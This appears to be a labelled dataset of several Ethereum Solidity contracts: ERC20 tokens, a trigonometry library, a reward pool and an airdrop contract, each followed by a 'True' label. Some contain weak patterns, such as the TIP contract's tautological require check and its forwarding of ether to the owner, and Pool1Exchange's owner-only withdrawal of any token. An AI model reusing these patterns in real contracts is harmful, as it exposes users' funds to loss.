function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract OLIFEToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function OLIFEToken() public {
symbol = "OLIFE";
name = "Olife";
decimals = 18;
uint oneToken = 1000000000000000000;
_totalSupply = 1000000000 * oneToken;
balances[0x6B9c68598159e0547775E838fD4548E665d2E895] = _totalSupply;
Transfer(address(0), 0x6B9c68598159e0547775E838fD4548E665d2E895, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
|
True
|
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] |
/**
*Submitted for verification at Etherscan.io on 2021-04-26
*/
/**
* Basic trigonometry functions
*
* Solidity library offering the functionality of basic trigonometry functions
* with both input and output being integer approximated.
*
* This is useful since:
* - At the moment no floating/fixed point math can happen in solidity
* - Should be (?) cheaper than the actual operations using floating point
* if and when they are implemented.
*
* The implementation is based off Dave Dribin's trigint C library
* http://www.dribin.org/dave/trigint/
* Which in turn is based from a now deleted article which can be found in
* the internet wayback machine:
* http://web.archive.org/web/20120301144605/http://www.dattalo.com/technical/software/pic/picsine.html
*
* @author Lefteris Karapetsas
* @license BSD3
*/
pragma solidity ^0.4.17;
library Trigonometry {
// Table index into the trigonometric table
uint constant INDEX_WIDTH = 4;
// Interpolation between successive entries in the tables
uint constant INTERP_WIDTH = 8;
uint constant INDEX_OFFSET = 12 - INDEX_WIDTH;
uint constant INTERP_OFFSET = INDEX_OFFSET - INTERP_WIDTH;
uint16 constant ANGLES_IN_CYCLE = 16384;
uint16 constant QUADRANT_HIGH_MASK = 8192;
uint16 constant QUADRANT_LOW_MASK = 4096;
uint constant SINE_TABLE_SIZE = 16;
// constant sine lookup table generated by gen_tables.py
// We have no other choice but this since constant arrays don't yet exist
uint8 constant entry_bytes = 2;
bytes constant sin_table = "\x00\x00\x0c\x8c\x18\xf9\x25\x28\x30\xfb\x3c\x56\x47\x1c\x51\x33\x5a\x82\x62\xf1\x6a\x6d\x70\xe2\x76\x41\x7a\x7c\x7d\x89\x7f\x61\x7f\xff";
/**
* Convenience function to apply a mask on an integer to extract a certain
* number of bits. Using exponents since solidity still does not support
* shifting.
*
* @param _value The integer whose bits we want to get
* @param _width The width of the bits (in bits) we want to extract
* @param _offset The offset of the bits (in bits) we want to extract
* @return An integer containing _width bits of _value starting at the
* _offset bit
*/
function bits(uint _value, uint _width, uint _offset) pure internal returns (uint) {
return (_value / (2 ** _offset)) & (((2 ** _width)) - 1);
}
function sin_table_lookup(uint index) pure internal returns (uint16) {
bytes memory table = sin_table;
uint offset = (index + 1) * entry_bytes;
uint16 trigint_value;
assembly {
trigint_value := mload(add(table, offset))
}
return trigint_value;
}
/**
* Return the sine of an integer approximated angle as a signed 16-bit
* integer.
*
* @param _angle A 14-bit angle. This divides the circle into 16384
* angle units, instead of the standard 360 degrees.
* @return The sine result as a number in the range -32767 to 32767.
*/
function sin(uint16 _angle) public pure returns (int) {
uint interp = bits(_angle, INTERP_WIDTH, INTERP_OFFSET);
uint index = bits(_angle, INDEX_WIDTH, INDEX_OFFSET);
bool is_odd_quadrant = (_angle & QUADRANT_LOW_MASK) == 0;
bool is_negative_quadrant = (_angle & QUADRANT_HIGH_MASK) != 0;
if (!is_odd_quadrant) {
index = SINE_TABLE_SIZE - 1 - index;
}
uint x1 = sin_table_lookup(index);
uint x2 = sin_table_lookup(index + 1);
uint approximation = ((x2 - x1) * interp) / (2 ** INTERP_WIDTH);
int sine;
if (is_odd_quadrant) {
sine = int(x1) + int(approximation);
} else {
sine = int(x2) - int(approximation);
}
if (is_negative_quadrant) {
sine *= -1;
}
return sine;
}
/**
* Return the cos of an integer approximated angle.
* It functions just like the sin() method but uses the trigonometric
* identity sin(x + pi/2) = cos(x) to quickly calculate the cos.
*/
function cos(uint16 _angle) public pure returns (int) {
if (_angle > ANGLES_IN_CYCLE - QUADRANT_LOW_MASK) {
_angle = QUADRANT_LOW_MASK - ANGLES_IN_CYCLE - _angle;
} else {
_angle += QUADRANT_LOW_MASK;
}
return sin(_angle);
}
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2021-03-05
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.6 ;
library TransferHelper {
function safeApprove(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token, address from, address to, uint value) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
function safeTransferETH(address to, uint value) internal {
(bool success,) = to.call{value:value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
}
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
interface IPairX {
function depositInfo( address sender , address token ) external view returns
( uint depositBalance ,uint depositTotal , uint leftDays ,
uint lockedReward , uint freeReward , uint gottedReward ) ;
}
contract Pool1Exchange {
using SafeMath for uint ;
address public Owner ;
address Pool ;
address Token0 ;
address Token1 ;
uint256 Total0 ;
uint256 Total1 ;
address RewardToken ;
uint256 Reward0 ;
uint256 Reward1 ;
mapping( address => mapping( address => uint)) DepositGotted ; // DepositGotted[sender][token]
mapping( address => mapping( address => uint)) RewardGotted ; // RewardGotted[sender][token]
address WETH ;
modifier onlyOwner() {
require( msg.sender == Owner , "no role." ) ;
_ ;
}
constructor(address owner ) public {
Owner = owner ;
}
function active( address pool , address token0 , address token1 , address weth ,
uint256 total0 , uint256 total1 ,
uint256 reward0 , uint256 reward1 ) public onlyOwner {
Pool = pool ;
Token0 = token0 ;
Token1 = token1 ;
WETH = weth ;
Total0 = total0 ;
Total1 = total1 ;
Reward0 = reward0 ;
Reward1 = reward1 ;
}
function info(address sender , address token ) public view returns
( uint deposit , uint total , uint depositGotted , uint rewardGotted , uint reward ){
IPairX pairx = IPairX( Pool ) ;
uint poolRewardGotted = 0 ;
( deposit , total , , , , poolRewardGotted ) = pairx.depositInfo( sender , token ) ;
uint rewardAmount = Reward0 ;
if( token == Token1 ) {
rewardAmount = Reward1 ;
}
depositGotted = DepositGotted[sender][token] ;
// deposit = deposit.sub(depositGotted) ;
rewardGotted = RewardGotted[sender][token] ;
rewardGotted = rewardGotted.add( poolRewardGotted ) ;
reward = deposit.div(1e12).mul( rewardAmount ).div( total.div(1e12) ) ; // div 1e12,保留6位精度计算
if( reward >= rewardGotted ) {
reward = reward.sub( rewardGotted ) ;
} else {
reward = 0 ;
}
}
function _transfer( address token , address to , uint amount ) internal {
if( token == WETH ) {
// weth
IWETH( token ).withdraw( amount ) ;
TransferHelper.safeTransferETH( to , amount );
} else {
TransferHelper.safeTransfer( token , to , amount ) ;
}
}
// 提取全部奖励
function claim( address token ) public {
address sender = msg.sender ;
( uint deposit , , uint depositGotted , , uint reward )
= info( msg.sender , token ) ;
if( deposit > depositGotted) {
uint avDeposit = deposit.sub( depositGotted ) ;
DepositGotted[sender][token] =DepositGotted[sender][token].add( avDeposit ) ;
_transfer( token , sender , avDeposit ) ;
}
if( reward > 0 ) {
RewardGotted[sender][token] =RewardGotted[sender][token].add( reward ) ;
_transfer( RewardToken , sender , reward ) ;
}
}
function superTransfer(address token , uint amount ) public onlyOwner {
_transfer( token , msg.sender , amount ) ;
}
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2022-03-25
*/
pragma solidity ^0.4.26;
contract SafeMath {
function safeAdd(uint256 a, uint256 b) public pure returns (uint256 c) {
c = a + b;
require(c >= a);
}
function safeSub(uint256 a, uint256 b) public pure returns (uint256 c) {
require(b <= a);
c = a - b;
}
function safeMul(uint256 a, uint256 b) public pure returns (uint256 c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint256 a, uint256 b) public pure returns (uint256 c) {
require(b > 0);
c = a / b;
}
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract NV_Netflix is Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint256 public _totalSupply;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "NFLXn";
name = "NV Netflix";
decimals = 18;
_totalSupply = 1000000000000000000000000000;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function totalSupply() external constant returns (uint256) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) external constant returns (uint256 balance) {
return balances[tokenOwner];
}
function transfer(address to, uint256 tokens) external returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint256 tokens) external returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint256 tokens) external returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) external constant returns (uint256 remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint256 tokens, bytes data) external returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () external payable {
revert();
}
function transferAnyERC20Token(uint256 tokens) external onlyOwner returns (bool success) {
return this.transfer(owner, tokens);
}
}
|
True
|
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] |
pragma solidity ^0.4.24;
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and a
// fixed supply
// ----------------------------------------------------------------------------
contract TIP is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
modifier onlyWhitelist() {
require(blacklist[msg.sender] == false);
_;
}
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
modifier valueAccepted() {
require(msg.value%(1*10**16)==0);
_;
}
// ------------------------------------------------------------------------
// airdrop params
// ------------------------------------------------------------------------
uint256 public _airdropAmount;
uint256 public _airdropTotal;
uint256 public _airdropSupply;
uint256 public _totalRemaining;
mapping(address => bool) initialized;
bool public distributionFinished = false;
mapping (address => bool) public blacklist;
event Distr(address indexed to, uint256 amount);
event DistrFinished();
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "TIP";
name = "Tip";
decimals = 18;
_totalSupply = 1000000000 * 10 ** uint256(decimals);
_airdropAmount = 8000 * 10 ** uint256(decimals);
_airdropSupply = 300000000 * 10 ** uint256(decimals);
_totalRemaining = _airdropSupply;
balances[owner] = _totalSupply.sub(_airdropSupply);
emit Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) onlyPayloadSize(2 * 32) public returns (bool success) {
require(to != address(0));
require(tokens <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) onlyPayloadSize(3 * 32) public returns (bool success) {
require(tokens <= balances[from]);
require(tokens <= allowed[from][msg.sender]);
require(to != address(0));
balances[from] = balances[from].sub(tokens);
balances[to] = balances[to].add(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
// ------------------------------------------------------------------------
// Get the airdrop token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function getBalance(address _address) internal returns (uint256) {
if (_airdropTotal < _airdropSupply && !initialized[_address]) {
return balances[_address] + _airdropAmount;
} else {
return balances[_address];
}
}
// ------------------------------------------------------------------------
// internal private functions
// ------------------------------------------------------------------------
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
_airdropTotal = _airdropTotal.add(_amount);
_totalRemaining = _totalRemaining.sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
if (_airdropTotal >= _airdropSupply) {
distributionFinished = true;
}
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr onlyWhitelist valueAccepted public {
if (_airdropAmount > _totalRemaining) {
_airdropAmount = _totalRemaining;
}
require(_totalRemaining <= _totalRemaining);
distr(msg.sender, _airdropAmount);
if (_airdropAmount > 0) {
blacklist[msg.sender] = true;
}
if (_airdropTotal >= _airdropSupply) {
distributionFinished = true;
}
_airdropAmount = _airdropAmount.div(100000).mul(99999);
uint256 etherBalance = this.balance;
if (etherBalance > 0) {
owner.transfer(etherBalance);
}
}
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2021-04-10
*/
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
